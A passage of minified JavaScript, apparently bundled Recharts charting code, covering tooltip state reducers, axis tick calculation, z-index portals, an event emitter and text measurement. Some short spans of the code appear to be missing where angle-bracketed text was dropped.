gD(e,n.orientation,n.mirror)};I([kt,qr,bD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var wD=(e,t)=>{var n=Xr(e,t);if(n!=null)return yD(e,n.orientation,n.mirror)};I([kt,Xr,wD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});I(kt,Xr,(e,t)=>{var n=typeof t.width=="number"?t.width:cl;return{width:n,height:e.height}});var g3=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:s,dataKey:o}=n,l=vr(e,r),c=t.map(u=>u.value);if(o&&l&&s==="category"&&i&&sN(c))return c}},tv=I([De,lf,it,Je],g3),y3=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:s}=n,o=vr(e,r);if(o&&(i==="number"||s!=="auto"))return t.map(l=>l.value)}},nv=I([De,lf,Ss,Je],y3);I([De,MI,Ti,uf,tv,nv,bl,J0,Je],(e,t,n,r,i,s,o,l,c)=>{if(t!=null){var u=vr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:s,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var jD=(e,t,n,r,i,s,o,l,c)=>{if(!(t==null||r==null)){var u=vr(e,c),{type:d,ticks:f,tickCount:p}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&s!=null&&s.length>=2?qt(s[0]-s[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return Ee(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(or):u&&l?l.map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.ticks?r.ticks(p).map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(or):r.domain().map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(or)}};I([De,Ss,Ti,uf,J0,bl,tv,nv,Je],jD);var ND=(e,t,n,r,i,s,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=vr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?qt(r[0]-r[1])*2*u:u,l&&s?s.map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.ticks?n.ticks(c).map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(or):n.domain().map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(or)}},b3=I([De,Ss,uf,bl,tv,nv,Je],ND),w3=I(it,uf,(e,t)=>{if(!(e==null||t==null))return Du(Du({},e),{},{scale:t})}),kD=I([it,Ti,X0,h3],Z0);I((e,t,n)=>D0(e,n),kD,(e,t)=>{if(!(e==null||t==null))return Du(Du({},e),{},{scale:t})});var zD=I([De,$d,Bd],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),j3=e=>e.options.defaultTooltipEventType,N3=e=>e.options.validateTooltipEventTypes;function k3(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function rv(e,t){var n=j3(e),r=N3(e);return k3(t,n,r)}function SD(e){return je(t=>rv(t,e))}var z3=(e,t)=>{var n,r=Number(t);if(!(mr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},CD=e=>e.tooltip.settings,si={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},PD={itemInteraction:{click:si,hover:si},axisInteraction:{click:si,hover:si},keyboardInteraction:si,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},S3=nn({name:"tooltip",initialState:PD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:He()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:He()},removeTooltipEntrySettings:{reducer(e,t){var n=Yn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:He()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:ED,replaceTooltipEntrySettings:_D,removeTooltipEntrySettings:AD,setTooltipSettingsState:OD,setActiveMouseOverItemIndex:C3,mouseLeaveItem:TD,mouseLeaveChart:P3,setActiveClickItemIndex:MD,setMouseOverAxisIndex:E3,setMouseClickAxisIndex:LD,setSyncInteraction:yh,setKeyboardInteraction:bh}=S3.actions,ID=S3.reducer;function C2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ec(e){for(var t=1;t{if(t==null)return si;var i=BD(e,t,n);if(i==null)return si;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var s=e.settings.active===!0;if(FD(i)){if(s)return ec(ec({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return ec(ec({},si),{},{coordinate:i.coordinate})};function WD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function UD(e,t){var n=WD(e),r=t[0],i=t[1];if(n===void 0)return!1;var s=Math.min(r,i),o=Math.max(r,i);return n>=s&&n<=o}function VD(e,t,n){if(n==null||t==null)return!0;var r=Ve(e,t);return r==null||!Br(n)?!0:UD(r,n)}var iv=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var s=Number(i);if(!Ee(s))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(s,l)),u=t[c];return u==null||VD(u,n,r)?String(c):null},A3=(e,t,n,r,i,s,o)=>{if(s!=null){var l=o[0],c=l==null?void 0:l.getPosition(s);if(c!=null)return c;var u=i==null?void 0:i[Number(s)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},O3=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var s=e.tooltipItemPayloads[0];return s!=null?[s]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},T3=e=>e.options.tooltipPayloadSearcher,Ps=e=>e.tooltip;function P2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function E2(e){for(var t=1;t{if(!(t==null||s==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((p,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=YD(g,l),b=Array.isArray(v)?hk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,N;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?N=oN(b,r,i):N=s(b,t,c,j),Array.isArray(N))N.forEach(z=>{var S=E2(E2({},y),{},{name:z.name,unit:z.unit,color:void 0,fill:void 0});p.push(Dy({tooltipEntrySettings:S,dataKey:z.dataKey,payload:z.payload,value:Ve(z.payload,z.dataKey),name:z.name}))});else{var k;p.push(Dy({tooltipEntrySettings:y,dataKey:w,payload:N,value:Ve(N,w),name:(k=Ve(N,j))!==null&&k!==void 0?k:y==null?void 0:y.name}))}return p},f)}},av=I([yt,J4,E0],m3),qD=I([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),XD=I([St,zs],R0),Es=I([qD,yt,XD],$0,{memoizeOptions:{resultEqualityCheck:of}}),ZD=I([Es],e=>e.filter(I0)),QD=I([Es],B0,{memoizeOptions:{resultEqualityCheck:of}}),_s=I([QD,Yr],F0),JD=I([ZD,Yr,yt],q4),sv=I([_s,yt,Es],U0),L3=I([yt],V0),eR=I([yt],e=>e.allowDataOverflow),I3=I([L3,eR],_4),tR=I([Es],e=>e.filter(I0)),nR=I([JD,tR,xl,F4],i3),rR=I([nR,Yr,St,I3],s3),iR=I([Es],n3),aR=I([_s,yt,iR,cf,St],G0,{memoizeOptions:{resultEqualityCheck:sf}}),sR=I([o3,St,zs],Cs),oR=I([sR,St],u3),lR=I([l3,St,zs],Cs),cR=I([lR,St],d3),uR=I([c3,St,zs],Cs),dR=I([uR,St],f3),fR=I([oR,dR,cR],Ru),mR=I([yt,L3,I3,rR,aR,fR,De,St],Y0),wl=I([yt,De,_s,sv,xl,St,mR],q0),pR=I([wl,yt,av],Q0),hR=I([yt,wl,pR,St],ev),D3=e=>{var t=St(e),n=zs(e),r=!1;return bl(e,t,n,r)},R3=I([yt,D3],rf),$3=I([yt,av,hR,R3],Z0),xR=I([De,sv,yt,St],g3),vR=I([De,sv,yt,St],y3),gR=(e,t,n,r,i,s,o,l)=>{if(t){var{type:c}=t,u=vr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?qt(i[0]-i[1])*2*f:f,u&&o?o.map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:p,index:h,offset:f}:null}).filter(or):r.domain().map((p,h)=>{var x=r.map(p);return Ee(x)?{coordinate:x+f,value:s?s[p]:p,index:h,offset:f}:null}).filter(or)}}},Zr=I([De,yt,av,$3,D3,xR,vR,St],gR),ov=I([j3,N3,CD],(e,t,n)=>k3(n.shared,e,t)),B3=e=>e.tooltip.settings.trigger,lv=e=>e.tooltip.settings.defaultIndex,jl=I([Ps,ov,B3,lv],_3),ps=I([jl,_s,yl,wl],iv),F3=I([Zr,ps],z3),W3=I([jl],e=>{if(e)return e.dataKey}),yR=I([jl],e=>{if(e)return e.graphicalItemId}),U3=I([Ps,ov,B3,lv],O3),bR=I([Hr,Kr,De,kt,Zr,lv,U3],A3),wR=I([jl,bR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),jR=I([jl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),NR=I([U3,ps,Yr,yl,F3,T3,ov],M3),kR=I([NR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function _2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function A2(e){for(var t=1;tje(yt),ER=()=>{var e=PR(),t=je(Zr),n=je($3);return xu(!e||!n?void 0:A2(A2({},e),{},{scale:n}),t)};function O2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;t{var i=t.find(s=>s&&s.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},MR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var s=i.coordinate,{radius:o}=r;return za(za(za({},r),dt(r.cx,r.cy,o,s)),{},{angle:s,radius:o})}var l=i.coordinate,{angle:c}=r;return za(za(za({},r),dt(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function LR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var V3=(e,t,n,r,i)=>{var s,o=(s=t==null?void 0:t.length)!==null&&s!==void 0?s:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(p=n[l+1])===null||p===void 0?void 0:p.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(qt(x-h)!==qt(g-x)){var v=[];if(qt(g-x)===qt(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var N;return(N=n[l])===null||N===void 0?void 0:N.index}}else{var k=Math.min(h,g),z=Math.max(h,g);if(e>(k+x)/2&&e<=(z+x)/2){var S;return(S=n[l])===null||S===void 0?void 0:S.index}}}else if(t)for(var O=0;O(A.coordinate+P.coordinate)/2||O>0&&O(A.coordinate+P.coordinate)/2&&e<=(A.coordinate+T.coordinate)/2)return A.index}}return-1},H3=()=>je(E0),cv=(e,t)=>t,K3=(e,t,n)=>n,uv=(e,t,n,r)=>r,IR=I(Zr,e=>Pd(e,t=>t.coordinate)),dv=I([Ps,cv,K3,uv],_3),fv=I([dv,_s,yl,wl],iv),DR=(e,t,n)=>{if(t!=null){var r=Ps(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},G3=I([Ps,cv,K3,uv],O3),$u=I([Hr,Kr,De,kt,Zr,uv,G3],A3),RR=I([dv,$u],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),Y3=I([Zr,fv],z3),$R=I([G3,fv,Yr,yl,Y3,T3,cv],M3),BR=I([dv,fv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),FR=(e,t,n,r,i,s,o)=>{if(!(!e||!n||!r||!i)&&LR(e,o)){var l=PT(e,t),c=V3(l,s,i,n,r),u=TR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},WR=(e,t,n,r,i,s,o)=>{if(!(!e||!r||!i||!s||!n)){var l=_8(e,n);if(l){var c=ET(l,t),u=V3(c,o,s,r,i),d=MR(t,s,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},UR=(e,t,n,r,i,s,o,l)=>{if(!(!e||!t||!r||!i||!s))return t==="horizontal"||t==="vertical"?FR(e,t,r,i,s,o,l):WR(e,t,n,r,i,s,o)},VR=I(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),HR=I(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Zt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:SI}});function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function M2(e){for(var t=1;tM2(M2({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),qR)},ZR=new Set(Object.values(Zt));function QR(e){return ZR.has(e)}var q3=nn({name:"zIndex",initialState:XR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:He()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!QR(n)&&delete e.zIndexMap[n])},prepare:He()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:He()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:He()}}}),{registerZIndexPortal:JR,unregisterZIndexPortal:e9,registerZIndexPortalElement:t9,unregisterZIndexPortalElement:n9}=q3.actions,r9=q3.reducer;function Mi(e){var{zIndex:t,children:n}=e,r=aM(),i=r&&t!==void 0&&t!==0,s=Jn(),o=ot();m.useLayoutEffect(()=>i?(o(JR({zIndex:t})),()=>{o(e9({zIndex:t}))}):bs,[o,t,i]);var l=je(c=>VR(c,t,s));return i?l?Nx.createPortal(n,l):null:n}function wh(){return wh=Object.assign?Object.assign.bind():function(e){for(var t=1;tm.useContext(X3),Z3={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function s(c,u,d,f,p){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,p),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var p=0,h=f.length,x=new Array(h);p{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!mr(n))return e[n]}},m9={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},J3=nn({name:"options",initialState:m9,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),p9=J3.reducer,{createEventEmitter:h9}=J3.actions;function x9(e){return e.tooltip.syncInteraction}var v9={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},ez=nn({name:"chartData",initialState:v9,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:D2,setDataStartEndIndexes:g9,setComputedData:iH}=ez.actions,y9=ez.reducer,b9=["x","y"];function R2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sa(e){for(var t=1;tc.rootProps.className);m.useEffect(()=>{if(e==null)return bs;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var p;if(o&&d!==null&&d!==void 0&&(p=d.payload)!==null&&p!==void 0&&p.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=k9(h,b9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,N=Sa(Sa({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(Sa(Sa({},d),{},{payload:Sa(Sa({},d.payload),{},{coordinate:N})}))}else n(d);return}if(i!=null){var k;if(typeof r=="function"){var z={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},S=r(i,z);k=i[S]}else r==="value"&&(k=i.find(K=>String(K.value)===d.payload.label));var{coordinate:O}=d.payload;if(k==null||d.payload.active===!1||O==null||o==null){n(yh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:A,y:T}=O,P=Math.min(A,o.x+o.width),D=Math.min(T,o.y+o.height),G={x:s==="horizontal"?k.coordinate:P,y:s==="horizontal"?D:k.coordinate},R=yh({active:d.payload.active,coordinate:G,dataKey:d.payload.dataKey,index:String(k.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(R)}}};return Qo.on(jh,c),()=>{Qo.off(jh,c)}},[l,n,t,e,r,i,s,o])}function C9(){var e=je(_0),t=je(A0),n=ot();m.useEffect(()=>{if(e==null)return bs;var r=(i,s,o)=>{t!==o&&e===i&&n(g9(s))};return Qo.on(I2,r),()=>{Qo.off(I2,r)}},[n,t,e])}function P9(){var e=ot();m.useEffect(()=>{e(h9())},[e]),S9(),C9()}function E9(e,t,n,r,i,s){var o=je(h=>DR(h,e,t)),l=je(A0),c=je(_0),u=je(W4),d=je(x9),f=d==null?void 0:d.active,p=Ud();m.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=yh({active:s,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:p,graphicalItemId:void 0});Qo.emit(jh,c,h,l)}},[f,n,o,i,r,l,c,u,s,p])}function $2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function B2(e){for(var t=1;t{z(OD({shared:b,trigger:w,axisId:k,active:i,defaultIndex:S}))},[z,b,w,k,i,S]);var O=Ud(),A=Ik(),T=SD(b),{activeIndex:P,isActive:D}=(t=je(q=>BR(q,T,w,S)))!==null&&t!==void 0?t:{},G=je(q=>$R(q,T,w,S)),R=je(q=>Y3(q,T,w,S)),K=je(q=>RR(q,T,w,S)),_=G,M=u9(),F=(n=i??D)!==null&&n!==void 0?n:!1,[U,V]=hO([_,F]),Z=T==="axis"?R:void 0;E9(T,w,K,Z,P,F);var ae=N??M;if(ae==null||O==null||T==null)return null;var ue=_??F2;F||(ue=F2),u&&ue.length&&(ue=TA(ue.filter(q=>q.value!=null&&(q.hide!==!0||r.includeHidden)),p,T9));var be=ue.length>0,ye=m.createElement(_M,{allowEscapeViewBox:s,animationDuration:o,animationEasing:l,isAnimationActive:d,active:F,coordinate:K,hasPayload:be,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:U,innerRef:V,hasPortalFromProps:!!N},M9(c,B2(B2({},r),{},{payload:ue,label:Z,active:F,activeIndex:P,coordinate:K,accessibilityLayer:A})));return m.createElement(m.Fragment,null,Nx.createPortal(ye,ae),F&&m.createElement(c9,{cursor:v,tooltipEventType:T,coordinate:K,payload:ue,index:P}))}var mf=e=>null;mf.displayName="Cell";function I9(e,t,n){return(t=D9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function D9(e){var t=R9(e,"string");return typeof t=="symbol"?t:t+""}function R9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class $9{constructor(t){I9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function U2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function B9(e){for(var t=1;t{try{var n=document.getElementById(H2);n||(n=document.createElement("span"),n.setAttribute("id",H2),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,H9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},G2=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Gd.isSsr)return{width:0,height:0};if(!tz.enableCache)return K2(t,n);var r=K9(t,n),i=V2.get(r);if(i)return i;var s=K2(t,n);return V2.set(r,s),s},nz;function G9(e,t,n){return(t=Y9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Y9(e){var t=q9(e,"string");return typeof t=="symbol"?t:t+""}function q9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Y2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,q2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,X9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,Z9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,Q9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},J9=["cm","mm","pt","pc","in","Q","px"];function e$(e){return J9.includes(e)}var Ua="NaN";function t$(e,t){return e*Q9[t]}class _t{static parse(t){var n,[,r,i]=(n=Z9.exec(t))!==null&&n!==void 0?n:[];return r==null?_t.NaN:new 